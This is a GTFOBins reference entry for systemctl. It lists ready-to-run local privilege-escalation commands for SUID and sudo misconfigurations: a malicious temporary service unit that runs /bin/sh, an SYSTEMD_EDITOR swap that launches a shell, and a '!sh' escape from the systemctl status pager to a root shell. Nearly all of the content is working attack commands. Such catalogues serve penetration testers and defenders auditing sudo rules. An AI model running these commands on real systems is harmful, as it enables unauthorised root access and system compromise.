GTFOBins.github.io/_gtfobins/systemctl.md
k4z01 64763cdee6
Update systemctl.md
How to obtain a root shell when you can run systemctl status with sudo
2023-10-06 12:58:11 +03:00

960 B

functions
suid sudo
code
TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF ./systemctl link $TF ./systemctl enable --now $TF
code
TF=$(mktemp) echo /bin/sh >$TF chmod +x $TF sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
code
TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/sh -c "id > /tmp/output" [Install] WantedBy=multi-user.target' > $TF sudo systemctl link $TF sudo systemctl enable --now $TF
description code code
This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. sudo systemctl !sh sudo /usr/bin/systemctl status any.service !sh